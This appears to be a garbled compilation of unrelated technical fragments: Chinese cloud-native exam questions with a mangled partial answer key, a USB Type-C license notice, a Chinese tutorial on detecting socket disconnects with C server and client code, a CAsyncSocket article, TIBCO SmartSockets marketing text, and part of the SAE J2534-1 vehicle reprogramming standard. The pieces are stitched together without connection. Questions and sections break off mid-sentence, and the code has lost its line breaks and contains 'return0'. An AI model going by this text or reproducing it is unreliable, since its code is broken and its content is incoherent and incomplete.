ABSTRACT SmartSockets Solving the Connectivity Problems in Grid Computing
云原生应用设计与开发实践考核试卷
D. Prometheus
14.以下哪个不是云原生应用架构的优势?()
A.提高开发效率
B.降低运维成本
C.系统高度耦合
D.灵活扩展
15.以下哪个不是云原生应用开发工具?()
A. Skaffold
B. Draft
C. Helm
D. Maven
16.在Kubernetes中,以下哪个资源用于定义存储卷?()
47.持续集成和持续部署的缩写分别是__________和__________。
48. __________是Kubernetes中用于暴露应用服务的资源类型。
49. __________是一个开源的服务网格,提供了微服务之间通信的延迟和故障注入等功能。
50.在云原生应用开发中,__________是一种声明式API,用于管理Kubernetes集群中的配置。
C.自动化运维
D.物理服务器
22.以下哪些是Kubernetes的内置资源类型?()
A. Pod
B. Service
C. Node
D. Database
23.云原生应用中,以下哪些工具可以用于持续集成和持续部署?()
A. Jenkins
B. GitLab CI
C. Travis CI
D. Docker Compose
63.请阐述服务网格(Service Mesh)在云原生应用架构中的作用,并列举至少三个服务网格的主要功能。
64.在设计云原生应用时,如何考虑应用的可观测性?请列举至少三种常用的可观测性工具,并简要说明它们的作用。
标准答案
一、单项选择题
1. C
2. C3. B4. C来自5. D6. A
USB Type-C 规范1.2(中文版)
知识产权声明
THIS SPECIFICATION IS PROVIDED TO YOU “AS IS” WITH NO WARRANTIES WHATSOEVER, INCLUDING ANY WARRANTY OF MERCHANTABILITY, NON-INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE. THE AUTHORS OF THIS SPECIFICATION DISCLAIM ALL LIABILITY, INCLUDING LIABILITY FOR INFRINGEMENT OF ANY PROPRIETARY RIGHTS, RELATING TO USE OR IMPLEMENTATION OF INFORMATION IN THIS SPECIFICATION. THE PROVISION OF THIS SPECIFICATION TO YOU DOES NOT PROVIDE YOU WITH ANY LICENSE, EXPRESS OR IMPLIED, BY ESTOPPEL OR OTHERWISE, TO ANY INTELLECTUAL PROPERTY RIGHTS.
预发行行业审查公司提供反馈
Revision History.......................................................................................................................14
LIMITED COPYRIGHT LICENSE: The USB 3.0 Promoters grant a conditional copyright license under the copyrights embodied in the USB Type-C Cable and Connector Specification to use and reproduce the Specification for the sole purpose of, and solely to the extent necessary for, evaluating whether to implement the Specification in products that would comply with the specification.
Socket:读写处理及连接断开的检测
Socket:读写处理及连接断开的检测作为进程间通信及⽹络通信的⼀种重要技术,在实际的开发中,socket编程是经常被⽤到的。
关于socket编程的⼀般步骤,这⾥不再赘述,相关资料和⽂章很多,google/baidu即可。
本⽂主要是探讨如何更好地进⾏socket读写处理,以及如何检测连接断开。
⾸先,有以下⼏点需要注意:1. 对于全双⼯的socket,同时读写是没问题的。
⽐如,⼀个socket程序有两个线程,⼀个线程对socket进⾏读操作(recv/read),⼀个线程对socket进⾏写操作(send/write),这⾥是不需要进⾏互斥操作或做临界区保护的。
2. 在Unix系统下,对⼀个对端已经关闭的socket调⽤两次write,第⼆次将会⽣成SIGPIPE信号,该信号的默认处理动作是终⽌进程。
为了防⽌在这种情况下导致进程退出,我们需要屏蔽该信号的默认处理动作。
有两种⽅法,a) 在程序开头调⽤signal(SIGPIPE, SIG_IGN),忽略SIGPIPE信号的默认动作;b) 采⽤send函数的MSG_NOSIGNAL标志位,忽略SIGPIPE信号。
当然,虽然我们忽略了SIGPIPE,但errno还是会被设置为EPIPE的。
因此,我们可以根据这点,按照我们的情况来进⾏相应的处理了。
3. 对⽂件描述符进⾏select/poll操作,a) 如果select/poll返回值⼤于0,此时进⾏recv/read,recv/read返回0,表明连接关闭; b) recv/read返回-1,并且errno为ECONNRESET、EBADF、EPIPE、ENOTSOCK之⼀时,也表明连接关闭。
4. 对⽂件描述符进⾏send/write操作,如果send/write返回-1,并且errno为ECONNRESET、EBADF、EPIPE、ENOTSOCK之⼀时,也表明连接关闭。
下⾯是⼀个demo程序,server端代码(server.c)为:#define _GNU_SOURCE#include <stdio.h>#include <sys/socket.h>#include <sys/un.h>#include <sys/types.h>#include <unistd.h>#include <string.h>#include <poll.h>#include <pthread.h>#include <errno.h>#define UNIX_PATH_MAX 108#define SOCK_PATH "/tmp/test.sock"int sock_write(int fd, char* buf, int len){int err_num, res;char err_str[128];int disconnect = 0;while(!disconnect){/* Use send with a MSG_NOSIGNAL to ignore a SIGPIPE signal which* would cause the process exit. */res = send(fd, buf, len, MSG_NOSIGNAL | MSG_DONTWAIT);if( -1 == res ){err_num = errno;printf("send error:%s!\n", strerror_r(err_num, err_str, sizeof(err_str)));switch(err_num){case ECONNRESET:case EBADF:case EPIPE:case ENOTSOCK:disconnect = 1;break;//case EWOULDBLOCK:case EAGAIN:usleep(10000);break;case EINTR:break;default:break;}}else if( res > 0 ){if( res < len ){/* Incomplete information. */buf += res;len -= res;}else if( res == len ){/* Message has sended successfully. */break;}}}return disconnect;}void* write_handle(void* fd){int len, connection_fd;char buffer[256];char* end_flag = "\r\n";connection_fd = *(int*)fd;len = snprintf(buffer, 256, "buffer data ends with a end flag%s", end_flag);buffer[len] = 0;while(0 == sock_write(connection_fd, buffer, len)){sleep(1);}}int main(void){struct sockaddr_un address;int socket_fd, connection_fd;socklen_t address_length;socket_fd = socket(PF_UNIX, SOCK_STREAM, 0);if(socket_fd < 0) {printf("%s:socket() failed\n", SOCK_PATH);return -1;}unlink(SOCK_PATH);memset(&address, 0, sizeof(struct sockaddr_un));address.sun_family = AF_UNIX;snprintf(address.sun_path, UNIX_PATH_MAX, SOCK_PATH);if(bind(socket_fd, (struct sockaddr *) &address, sizeof(struct sockaddr_un)) != 0){printf("%s:bind() failed\n", SOCK_PATH);return -1;}if(listen(socket_fd, 0) != 0){printf("%s:listen() failed\n", SOCK_PATH);return -1;}while((connection_fd = accept(socket_fd, (struct sockaddr *) &address,&address_length)) > -1) {pthread_t w_thread;struct pollfd pfd;char buffer[512];int nbytes;int cnt;int res;int err_num;int disconnect=0;#ifdef DEBUGchar str[128];#endifprintf("\n\n%s:accept a connection!\n", SOCK_PATH);pthread_create(&w_thread, NULL, write_handle, &connection_fd);pfd.fd = connection_fd;pfd.events = POLLIN | POLLHUP | POLLRDNORM;pfd.revents = 0;while(1){res = poll(&pfd, 1, 500);if(res >= 0){// if result > 0, this means that there is either data available on the// socket, or the socket has been closedcnt = recv(connection_fd, buffer, sizeof(buffer), MSG_PEEK | MSG_DONTWAIT);if( 0 == cnt ){if(res > 0){// if recv returns zero, that means the connection has been closed.#ifdef DEBUGprintf("connection disconnect 1!\n");#endifdisconnect = 1;break;}}else if( -1 == cnt ){err_num = errno;#ifdef DEBUGprintf("recv error:%s!\n", strerror_r(errno, str, sizeof(str)));#endifswitch(err_num){case ECONNRESET:case EBADF:case EPIPE:case ENOTSOCK:disconnect = 1;break;default:break;}if( disconnect ){#ifdef DEBUGprintf("connection disconnect 2!\n");#endifbreak;}}else if( cnt > 0 ){/* discard everything received from client.*/while((nbytes = recv(connection_fd, buffer, sizeof(buffer)-1, MSG_DONTWAIT)) > 0){ buffer[nbytes] = 0;#ifdef DEBUGprintf("buffer:%s\n", buffer);#endif}#ifdef DEBUGif( 0 == nbytes ){printf("All received!\n");}#endif}}#ifdef DEBUGelse if(res == -1){/* This case shouldn't happen, we sleep 5 seconds here in case and retry it. */printf("Error: poll return -1\n");sleep(5);}#endif}close(connection_fd);pthread_cancel(w_thread);}close(socket_fd);unlink(SOCK_PATH);return0;}client端代码(client.c)为:#define _GNU_SOURCE#include <stdio.h>#include <sys/socket.h>#include <sys/un.h>#include <unistd.h>#include <string.h>#include <pthread.h>#include <poll.h>#include <errno.h>#define UNIX_PATH_MAX 108#define SOCK_PATH "/tmp/test.sock"int main(void){struct sockaddr_un address;int socket_fd, res;char buffer[256];pthread_t w_thread;struct pollfd pfd;int err_num;int disconnect;while(1){socket_fd = socket(PF_UNIX, SOCK_STREAM, 0);if(socket_fd < 0){printf("%s:socket() failed\n", SOCK_PATH);sleep(5);continue;}memset(&address, 0, sizeof(struct sockaddr_un));address.sun_family = AF_UNIX;snprintf(address.sun_path, UNIX_PATH_MAX, SOCK_PATH);if(connect(socket_fd, (struct sockaddr *) &address, sizeof(struct sockaddr_un)) != 0){printf("%s:connect() failed\n", SOCK_PATH);close(socket_fd);socket_fd = -1;sleep(5);continue;}#ifdef DEBUGprintf("connect success!\n");#endif#if 1pfd.fd = socket_fd;pfd.events = POLLIN | POLLHUP | POLLRDNORM;pfd.revents = 0;disconnect = 0;while(1){// use the poll system call to be notified about socket status changesres = poll(&pfd, 1, 60000);if(res >= 0){// if result > 0, this means that there is either data available on the// socket, or the socket has been closedchar buffer[512];int cnt, nbytes;cnt = recv(socket_fd, buffer, sizeof(buffer)-1, MSG_PEEK | MSG_DONTWAIT);if( -1 == cnt){err_num = errno;switch(err_num){case ECONNRESET:case EBADF:case EPIPE:case ENOTSOCK:disconnect = 1;break;default:break;}if(disconnect){break;}}else if( 0 == cnt){if(res > 0){// if recv returns zero, that means the connection has been closed:disconnect = 1;break;}}else if( cnt > 0 ){while((nbytes = recv(socket_fd, buffer, sizeof(buffer)-1, MSG_DONTWAIT)) > 0){ buffer[nbytes] = 0;printf("buffer:%s\n", buffer);}}}}#endifclose(socket_fd);socket_fd = -1;#ifdef DEBUGprintf("server disconnect!\n");#endif/* here sleep 5 seconds and re-connect. */sleep(5);}return0;}。
casyncsocket类asyncselect方法 -回复
casyncsocket类asyncselect方法-回复casyncsocket类asyncselect方法是一个在Windows平台下用来进行异步套接字操作的方法。
它允许程序员通过指定一组事件来监听套接字的状态变化,以便及时处理读写、连接和断开等操作。
在本文中,我们将详细介绍casyncsocket类asyncselect方法以及它的使用方法,并且逐步回答与它相关的问题。
一、casyncsocket类的概述casyncsocket类是一个MFC提供的用于进行网络编程的套接字类。
它提供了相对简单易用的接口,适用于构建各种客户端和服务器应用程序。
casyncsocket类的功能比较丰富,包括同步和异步的读写操作、连接和断开事件的处理等。
在异步操作中,可以使用asyncselect方法来进行事件驱动的处理。
二、asyncselect方法的原理asyncselect方法通过指定一组事件,将套接字与Windows事件对象进行绑定。
当套接字的状态发生变化时,系统将通过事件对象通知应用程序,从而触发相应的事件处理函数。
asyncselect方法可以将套接字与以下事件绑定:1. FD_ACCEPT:当一个连接请求被接受时触发。
2. FD_READ:当套接字有数据可读时触发。
3. FD_WRITE:当套接字可以写入数据时触发。
4. FD_CLOSE:当套接字关闭时触发。
通过asyncselect方法将套接字与这些事件绑定后,程序员可以在相应的事件处理函数里面实现相应的逻辑。
三、asyncselect的使用方法下面我们将一步一步回答一些与asyncselect方法相关的问题:1. 如何使用asyncselect方法来进行异步操作?首先,需要创建一个casyncsocket对象,然后通过其Create方法创建一个套接字。
接下来,可以使用asyncselect方法将套接字与事件进行绑定。
例如,可以调用socket.asyncselect(FD_READ FD_WRITEFD_CLOSE)来将套接字与读写和关闭事件进行绑定。
SmartSockets——tibico通讯介绍
Implementing a high performance, scalable messaging infrastructure system can be a complex and formidable endeavor, requiring a great deal of specialized knowledge and more time than many businesses can afford.TIBCO SmartSockets® real-time messaging software addresses these challenges by masking your distributed applications from the underlying complexities of your network structure-whether network servers are local or remote, for example, or whether the network ismulticast- or only unicast-enabled. In this way, SmartSockets frees your development team to focus on their core competencies. In addition, SmartSockets automatically provides an extra layer of reliability to your distributed applications at the messaging level, complementing and extending any reliability capabilities that may reside at the deeper network level.In the increasingly complex and heterogeneous environment in which your business must exchange and distribute revenue-critical information, SmartSockets provides the technology your organization needs to stay ahead: exceptional performance, very high scalability,optimum bandwidth efficiency, robust fault tolerance, reliable real-time messaging using industry-standard protocols - and much more.A Comprehensive, Flexible Offering From data delivery to connectivity, security to monitoring and management, SmartSockets isa flexible messaging solution tailored to meet your critical real-time data delivery plementing the core SmartSockets solution, TIBCO offers an extensive range of add-on products that allow you to extend the power of SmartSockets. All SmartSockets products deliver advanced functionality without sacrificing performance.BenefitsSignificantly increase message volumeTransparently adapt messaging systems to changing requirementsScale applications across the enterprise or the internet More efficiently utilize network bandwidthFeatures Publish-subscribe for one-to-many communicationsMultithreaded, multiprocessor architecture for full system exploitationOnline security safeguards vital communicationsReal-time monitoring of network applicationsPerformance optimization for maximum throughputRobust, enterprise-quality fault tolerant GMD for reliable message delivery Speed and FlexibilitySmartSockets increases development productivity and reduces development cycles by allowing your development teams to work in their preferred platform and languageenvironments, and by embracing industry standards. SmartSockets offers:Support for multiple programming languagesConsistent, intuitive interfaces across all supported platformsEasy-to-use callbacks to respond to asynchronous event notificationsSupport for eXtensible Mark-up Language (XML)Isolation from network programming complexitiesSmartSockets is based on industry standards and protocols, including JMS, PGM (Pragmatic General Multicast), TCP/IP and SSL, ensuring that companies maximize investment by eliminating barriers to communication and interaction.T TIBCO SmartSocketsThe American Stock Exchange is taking advantage of TIBCO SmartSockets' unique multicast capability to efficiently transmitmarket data to multiple subscribersin a single operation -greatlyimproving network utilization andspeed. A TIBCO Messaging Solution。
sae_j2534-1_2004
SURFACEVEHICLERECOMMENDED PRACTICESAE Technical Standards Board Rules provide that: “This report is published by SAE to advance the state of technical and engineering sciences. The use of this report is entirely voluntary, and its applicability and suitability for any particular use, including any patent infringement arising therefrom, is the sole responsibility of the user.”SAE reviews each technical report at least every five years at which time it may be reaffirmed, revised, or cancelled. SAE invites your written comments and suggestions.Copyright © 2004 SAE InternationalAll rights reserved. No part of this publication may be reproduced, stored in a retrieval system or transmitted, in any form or by any means, electronic, mechanical, photocopying, recording, or otherwise, without the prior written permission of SAE.TO PLACE A DOCUMENT ORDER: Tel: 877-606-7323 (inside USA and Canada)Tel: 724-776-4970 (outside USA)SAE J2534-1 Revised DEC2004TABLE OF CONTENTS 1. Scope (5)2. References (5)2.1 Applicable Documents (5)2.1.1 SAE Publications (5)2.1.2 ISO Documents (6)3. Definitions (6)4. Acronyms (6)5. Pass-Thru C oncept (7)6. Pass-Thru System Requirements (8)6.1 P C Requirements (8)6.2 Software Requirements and Assumptions (8)6.3 Connection to PC (9)6.4 Connection to Vehicle............................................................................................................9 6.5 C ommunication Protocols (9)6.5.1 ISO 9141................................................................................................................................9 6.5.2 ISO 14230-4 (KWP2000).. (10)6.5.3 SAE J1850 41.6 kbps PWM (Pulse Width Modulation) (10)6.5.4 SAE J1850 10.4 kbps VPW (Variable Pulse Width) (10)6.5.5 C AN (11)6.5.6 ISO 15765-4 (CAN) (11)6.5.7 SAE J2610 DaimlerChrysler SCI (11)6.6 Simultaneous Communication on Multiple Protocols (11)6.7 Programmable Power Supply (12)6.8 Pin Usage (13)6.9 Data Buffering (14)6.10 Error Recovery (14)6.10.1 Device Not Connected (14)6.10.2 Bus Errors (14)7. Win32 Application Programming Interface (15)7.1 API Functions – Overview (15)7.2 API Functions - Detailed Information (15)7.2.1 PassThruOpen (15)7.2.1.1 C /C ++ Prototype (15)7.2.1.2 Parameters (16)7.2.1.3 Return Values (16)7.2.2 PassThru C lose (16)7.2.2.1 C /C ++ Prototype (16)7.2.2.2 Parameters (16)7.2.2.3 Return Values (17)7.2.3 PassThru C onnect (17)7.2.3.1 C /C ++ Prototype (17)7.2.3.2 Parameters (17)7.2.3.3 Flag Values (18)7.2.3.4 Protocal ID Values (19)SAE J2534-1 Revised DEC20047.2.3.5 Return Values (20)7.2.4 PassThruDisconnect............................................................................................................20 7.2.4.1 C /C ++ Prototype (20)7.2.4.2 Parameters (21)7.2.4.3 Return Values ......................................................................................................................21 7.2.5 PassThruReadMsgs. (21)7.2.5.1 C /C ++ Prototype (22)7.2.5.2 Parameters...........................................................................................................................22 7.2.5.3 Return Values . (23)7.2.6 PassThruWriteMsgs (23)7.2.6.1 C /C ++ Prototype ..................................................................................................................24 7.2.6.2 Parameters (24)7.2.6.3 Return Values (25)7.2.7 PassThruStartPeriodicMsg..................................................................................................26 7.2.7.1 C /C ++ Prototype (26)7.2.7.2 Parameters (26)7.2.7.3 Return Values ......................................................................................................................27 7.2.8 PassThruStopPeriodicMsg .. (27)7.2.8.1 C /C ++ Prototype (28)7.2.8.2 Parameters...........................................................................................................................28 7.2.8.3 Return Values . (28)7.2.9 PassThruStartMsgFilter.......................................................................................................28 7.2.9.1 C /C ++ Prototype (31)7.2.9.2 Parameters (31)7.2.9.3 Filter Types ..........................................................................................................................32 7.2.9.4 Return Values . (33)7.2.10 PassThruStopMsgFIlter (33)7.2.10.1 C /C ++ Prototype ..................................................................................................................33 7.2.10.2 Parameters (34)7.2.10.3 Return Values (34)7.2.11 PassThruSetProgrammingVoltage (34)7.2.11.1 C /C ++ Prototype (34)7.2.11.2 Parameters (35)7.2.11.3 Voltage Values (35)7.2.11.4 Return Values (35)7.2.12 PassThruReadVersion (36)7.2.12.1 C /C ++ Prototype (36)7.2.12.2 Parameters (36)7.2.12.3 Return Values (37)7.2.13 PassThruGetLastError (37)7.2.13.1 C /C ++ Prototype (37)7.2.13.2 Parameters (37)7.2.13.3 Return Values (37)7.2.14 PassThruIoctl (38)7.2.14.1 C /C ++ Prototype (38)7.2.14.2 Parameters (38)7.2.14.3 Ioctl ID Values (39)7.2.14.4 Return Values (39)7.3 IO C TL Section (40)7.3.1 GET_C ONFIG (41)7.3.2 SET_C ONFIG (42)SAE J2534-1 Revised DEC20047.3.3 READ_VBATT (46)7.3.4 READ_PROG_VOLTAGE....................................................................................................46 7.3.5 FIVE_BAUD_INIT . (47)7.3.6 FAST_INIT (47)7.3.7 C LEAR_TX_BUFFER (48)7.3.8 C LEAR_RX_BUFFER (48)7.3.9 C LEAR_PERIODI C _MSGS (49)7.3.10 C LEAR_MSG_FILTERS (49)7.3.11 C LEAR_FUN C T_MSG_LOOKUP_TABLE (49)7.3.12 ADD_TO_FUN C T_MSG_LOOKUP_TABLE (50)7.3.13 DELETE_FROM_FUN C T_MSG_LOOKUP_TABLE (50)8. Message Structure (51)8.1 C /C ++ Definition (51)8.2 Elements (51)8.3 Message Data Formats (52)8.4 Format Checks for Messages Passed to the API (53)8.5 Conventions for Returning Messages from the API (53)8.6 Conventions for Returning Indications from the API (53)8.7 Message Flag and Status Definitions..................................................................................54 8.7.1 RxStatus. (54)8.7.2 RxStatus Bits for Messaging Status and Error Indication....................................................55 8.7.3 TxFlags.................................................................................................................................56 9. DLL Installation and Registry...............................................................................................57 9.1 Naming of Files....................................................................................................................57 9.2 Win32 Registy. (57)9.2.1 User Application Interaction with the Registry (59)9.2.2 Attaching to the DLL from an application (60)9.2.2.1 Export Library Definition File (61)10. Return Value Error Codes (61)11. Notes (63)11.1 Marginal Indicia (63)Appendix A General ISO 15765-2 Flow Control Example (64)A.1 Flow Control Overview (64)A.1.1 Examples Overview (65)A.2 Transmitting a Segmented Message (66)A.2.1 C onversation Setup (66)A.2.2 Data Transmission (67)A.2.3 Verification (68)A.3 Transmitting an Unsegmented Message (69)A.3.1 Data Transmission (70)A.3.2 Verification (70)A.4 Receiving a Segmented Message (70)A.4.1 C onversation Setup (70)A.4.2 Reception Notification (70)A.4.3 Data Reception (71)A.5 Receiving and Unsegmented Messages (72)1.ScopeThis SAE Recommended Practice provides the framework to allow reprogramming software applications from all vehicle manufacturers the flexibility to work with multiple vehicle data link interface tools from multiple tool suppliers. This system enables each vehicle manufacturer to control the programming sequence for electronic control units (EC Us) in their vehicles, but allows a single set of programming hardware and vehicle interface to be used to program modules for all vehicle manufacturers.This document does not limit the hardware possibilities for the connection between the PC used for the software application and the tool (e.g., RS-232, RS-485, USB, Ethernet…). Tool suppliers are free to choose the hardware interface appropriate for their tool. The goal of this document is to ensure that reprogramming software from any vehicle manufacturer is compatible with hardware supplied by any tool manufacturer.U.S. Environmental Protection Agency (EPA) and the C alifornia Air Resources Board (ARB) "OBD service information" regulations include requirements for reprogramming emission-related control modules in vehicles for all manufacturers by the aftermarket repair industry. This document is intended to conform to those regulations for 2004 and later model year vehicles. For some vehicles, this interface can also be used to reprogram emission-related control modules in vehicles prior to the 2004 model year, and for non-emission related control modules. For other vehicles, this usage may require additional manufacturer specific capabilities to be added to a fully compliant interface. A second part to this document, SAE J2534-2, is planned to include expanded capabilities that tool suppliers can optionally include in an interface to allow programming of these additional non-mandated vehicle applications. In addition to reprogramming capability, this interface is planned for use in OBD compliance testing as defined in SAE J1699-3. SAE J2534-1 includes some capabilities that are not required for Pass-Thru Programming, but which enable use of this interface for those other purposes without placing a significant burden on the interface manufacturers.Additional requirements for future model years may require revision of this document, most notably the inclusion of SAE J1939 for some heavy-duty vehicles. This document will be reviewed for possible revision after those regulations are finalized and requirements are better understood. Possible revisions include SAE J1939 specific software and an alternate vehicle connector, but the basic hardware of an SAE J2534 interface device is expected to remain unchanged.2.References2.1Applicable PublicationsThe following publications form a part of this specification to the extent specified herein. Unless otherwise indicated, the latest version of SAE publications shall apply.2.1.1SAE P UBLICATIONSAvailable from SAE, 400 Commonwealth Drive, Warrendale, PA 15096-0001.SAE J1850—Class B Data Communications Network InterfaceSAE J1939—Truck and Bus Control and Communications Network (Multiple Parts Apply)SAE J1962—Diagnostic ConnectorSAE J2610—DaimlerChrysler Information Report for Serial Data Communication Interface (SCI)2.1.2 ISO D OCUMENTSAvailable from ANSI, 25 west 43rd Street, New York, NY 10036-8002.ISO 7637-1:1990—Road vehicles—Electrical disturbance by conduction and coupling—Part 1:Passenger cars and light commercial vehicles with nominal 12 V supply voltageISO 9141:1989—Road vehicles—Diagnostic systems—Requirements for interchange of digital informationISO 9141-2:1994—Road vehicles—Diagnostic systems—C ARB requirements for interchange of digitalinformationISO 11898:1993—Road vehicles—Interchange of digital information—Controller area network (CAN) forhigh speed communicationISO 14230-4:2000—Road vehicles—Diagnostic systems—Keyword protocol 2000—Part 4:Requirements for emission-related systemsISO/FDIS 15765-2—Road vehicles—Diagnostics on controller area networks (C AN)—Network layerservicesISO/FDIS 15765-4—Road vehicles—Diagnostics on controller area networks (C AN)—Requirements foremission-related systems3.Definitions 3.1 RegistryA mechanism within Win32 operating systems to handle hardware and software configuration information.4. AcronymsAPI Application Programming InterfaceASCII American Standard Code for Information InterchangeCAN Controller Area NetworkC R C C yclic Redundancy C heckDLL Dynamic Link LibraryECU Electronic Control UnitIFR In-Frame ResponseIOCTL Input / Output ControlKWP Keyword ProtocolOEM Original Equipment ManufacturerP C Personal C omputerPWM Pulse Width ModulationSCI Serial Communications InterfaceSCP Standard Corporate ProtocolUSB Universal Serial BusVPW Variable Pulse Width5.Pass-Thru ConceptProgramming application software supplied by the vehicle manufacturer will run on a commonly available generic PC. This application must have complete knowledge of the programming requirements for the control module to be programmed and will control the programming event. This includes the user interface, selection criteria for downloadable software and calibration files, the actual software and calibration data to be downloaded, the security mechanism to control access to the programming capability, and the actual programming steps and sequence required to program each individual control module in the vehicle. If additional procedures must be followed after the reprogramming event, such as clearing Diagnostic Trouble C odes (DTC), writing part numbers or variant coding information to the control module, or running additional setup procedures, the vehicle manufacturer must either include this in the PC application or include the necessary steps in the service information that references reprogramming.This document defines the following two interfaces for the SAE J2534 pass-thru device:a. Application program interface (API) between the programming application running on a PC and asoftware device driver for the pass-thru deviceb. Hardware interface between the pass-thru device and the vehicleThe manufacturer of an SAE J2534 pass-thru device shall supply connections to both the PC and the vehicle. In addition to the hardware, the interface manufacturer shall supply device driver software, and a Windows installation and setup application that will install the manufacturer's SAE J2534 DLL and other required files, and also update the Windows Registry. The interface between the PC and the pass-thru device can be any technology chosen by the tool manufacturer, including RS-232, RS-485, USB, Ethernet, or any other current or future technology, including wireless technologies.All programming applications shall utilize the common SAE J2534 API as the interface to the pass-thru device driver. The API contains a set of routines that may be used by the programming application to control the pass-thru device, and to control the communications between the pass-thru device and the vehicle. The pass-thru device will not interpret the message content, allowing any message strategy and message structure to be used that is understood by both the programming application and the ECU being programmed. Also, because the message will not be interpreted, the contents of the message cannot be used to control the operation of the interface. For example, if a message is sent to the ECU to go to high speed, a specific instruction must also be sent to the interface to go to high speed.The OEM programming application does not need to know the hardware connected to the PC, which gives the tool manufacturers the flexibility to use any commonly available interface to the PC. The pass-thru device does not need any knowledge of the vehicle or control module being programmed. This will allow all programming applications to work with all pass-thru devices to enable programming of all control modules for all vehicle manufacturers.The interface will not handle the tester present messages automatically. The OEM application is responsible to handle tester present messages.6.3Connection to PCThe interface between the PC and the pass-thru device shall be determined by the manufacturer of the pass-thru device. This can be RS-232, USB, Ethernet, IEEE1394, Bluetooth or any other connection that allows the pass-thru device to meet all other requirements of this document, including timing requirements. The tool manufacturer is also required to include the device driver that supports this connection so that the actual interface used is transparent to both the PC programming application and the vehicle.6.4Connection to VehicleThe interface between the pass-thru device and the vehicle shall be an SAE J1962 connector for serial data communications. The maximum cable length between the pass-thru device and the vehicle is five (5) meters. The interface shall include an insulated banana jack that accepts a standard 0.175" diameter banana plug as the auxiliary pin for connection of programming voltage to a vehicle specific connector on the vehicle.If powered from the vehicle, the interface shall:a. operate normally within a vehicle battery voltage range of 8.0 to 18.0 volts D.C.,b. survive a vehicle battery voltage of up to 24.0 volts D.C. for at least 10 minutes,c. survive, without damage to the interface, a reverse vehicle battery voltage of up to 24.0 volts D.C. forat least 10 minutes.6.5Communication ProtocolsThe following communication protocols shall be supported:6.5.1ISO9141The following specifications clarify and, if in conflict with ISO 9141, override any related specifications in ISO 9141:a. The maximum sink current to be supported by the interface is 100 mA.b. The range for all tests performed relative to ISO 7637-1 is –1.0 to +40.0 V.c. The default bus idle period before the interface shall transmit an address, shall be 300 ms.d. Support following baud rate with ±0.5% tolerance: 10400.e. Support following baud rate with ±1% tolerance: 10000.f. Support following baud rates with ±2% tolerance: 4800, 9600, 9615, 9800, 10870, 11905, 12500,13158, 13889, 14706, 15625, and 19200.g. Support other baud rates if the interface is capable of supporting the requested value within ±2%.h. The baud rate shall be set by the application, not determined by the SAE J2534 interface. Theinterface is not required to support baud rate detection based on the synchronization byte.i. Support odd and even parity in addition to the default of no parity, with seven or eight data bits.Always one start bit and one stop bit.j. Support for timer values that are less than or greater than those specified in ISO 9141 (see Figure 30 in Section 7.3.2).k. Support ability to disable automatic ISO 9141-2 / ISO 14230 checksum verification by the interface to allow vehicle manufacturer specific error detection.l. If the ISO 9141 checksum is verified by the interface, and the checksum is incorrect, the message will be discarded.m. Support both ISO 9141 5-baud initialization and ISO 14230 fast initialization.n. Interface shall not adjust timer parameters based on keyword values.6.5.2ISO14230-4(KWP2000)The ISO 14230 protocol has the same specifications as the ISO 9141 protocol as outlined in the previous section. In addition, the following specifications clarify and, if in conflict with ISO 14230, override any related specifications in ISO 14230:a. The pass-thru interface will not automatically handle tester present messages. The application needsto handle tester present messages when required.b. The pass-thru interface will not perform any special handling for the $78 response code. Anymessage received with a $78 response code will be passed from the interface to the application. The application is required to handle any special timing requirements based on receipt of this response code, including stopping any periodic messages.6.5.3SAE J185041.6 KBPS PWM(P ULSE W IDTH M ODULATION)The following additional features of SAE J1850 must be supported by the pass-thru device:a. Capable of 41.6 kbps and high speed mode of 83.3 kbps.b. Recommend Ford approved SAE J1850PWM (SCP) physical layer6.5.4SAE J185010.4 KBPS VPW(V ARIABLE P ULSE W IDTH)The following additional features of SAE J1850 must be supported by the pass-thru device:a. Capable of 10.4 kbps and high speed mode of 41.6 kbpsb. 4128 byte block transferc. Return to normal speed after a break indication6.5.5CANThe following features of ISO 11898 (CAN) must be supported by the pass-thru device:a. 125, 250, and 500 kbpsb. 11 and 29 bit identifiersc. Support for 80% ± 2% and 68.5% ± 2% bit sample pointd. Allow raw C AN messages. This protocol can be used to handle any custom C AN messagingprotocol, including custom flow control mechanisms.6.5.6ISO15765-4(CAN)The following features of ISO 15765-4 must be supported by the pass-thru device:a. 125, 250, and 500 kbpsb. 11 and 29 bit identifiersc. Support for 80% ± 2% bit sample pointd. To maintain acceptable programming times, the transport layer flow control function, as defined inISO 15765-2, must be incorporated in the pass-thru device (see Appendix A). If the application does not use the ISO 15765-2 transport layer flow control functionality, the CAN protocol will allow for any custom transport layer.e. Receive a multi-frame message with an ISO15765_BS of 0 and an ISO15765_STMIN of 0, asdefined in ISO 15765-2.f. No single frame or multi-frame messages can be received without matching a flow control filter. Nomulti-frame messages can be transmitted without matching a flow control filter.g. Periodic messages will not be suspended during transmission or reception of a multi-framesegmented message.6.5.7SAE J2610D AIMLER C HRYSLER SCIReference the SAE J2610 Information Report for a description of the SCI protocol.When in the half-duplex mode (when SCI_MODE of TxFlags is set to {1} Half-Duplex), every data byte sent is expected to be "echoed" by the controller. The next data byte shall not be sent until the echo byte has been received and verified. If the echoed byte received doesn't match the transmitted byte, or if after a period of T1 no response was received, the transmission will be terminated. Matching echoed bytes will not be placed in the receive message queue.6.6Simultaneous Communication On Multiple ProtocolsThe pass-thru device must be capable of supporting simultaneous communication on multiple protocols during a single programming event. Figure 2 indicates which combinations of protocols shall be supported. If SC I (SAE J2610) communication is not required during the programming event, the interface shall be capable of supporting one of the protocols from data link set 1, data link set 2, and data link set 3. If SC I (SAE J2610) communication is required during the programming event, the interface shall be capable of supporting one of the SCI protocols and one protocol from data link set 1.6.9Data BufferingThe interface/API shall be capable of receiving 8 simultaneous messages. For ISO 15765 these can be multi-frame messages. The interface/API shall be capable of buffering a maximum length (4128 byte) transmit message and a maximum length (4128 byte) receive message.6.10Error Recovery6.10.1D EVICE N OT C ONNECTEDIf the DLL returns ERR_DEVICE_NOT_CONNECTED from any function, that error shall continue to be returned by all functions, even if the device is reconnected. An application can recover from this error condition by closing the device (with PassThruC lose) and re-opening the device (with PassThruOpen, getting a new device ID).6.10.2B US E RRORSAll devices shall handle bus errors in a consistent manner. There are two error strategies: Retry and Drop.The Retry strategy will keep trying to send a packet until successful or stopped by the application. If loopback is on and the message is successfully sent after some number of retries, only one copy of the message shall be placed in the receive queue. Even if the hardware does not support retries, the firmware/software must retry the transmission. If the error condition persists, a blocking write will wait the specified timeout and return ERR_TIMEOUT. The DLL must return the number of successfully transmitted messages in pNumMsgs. The DLL shall not count the message being retried in 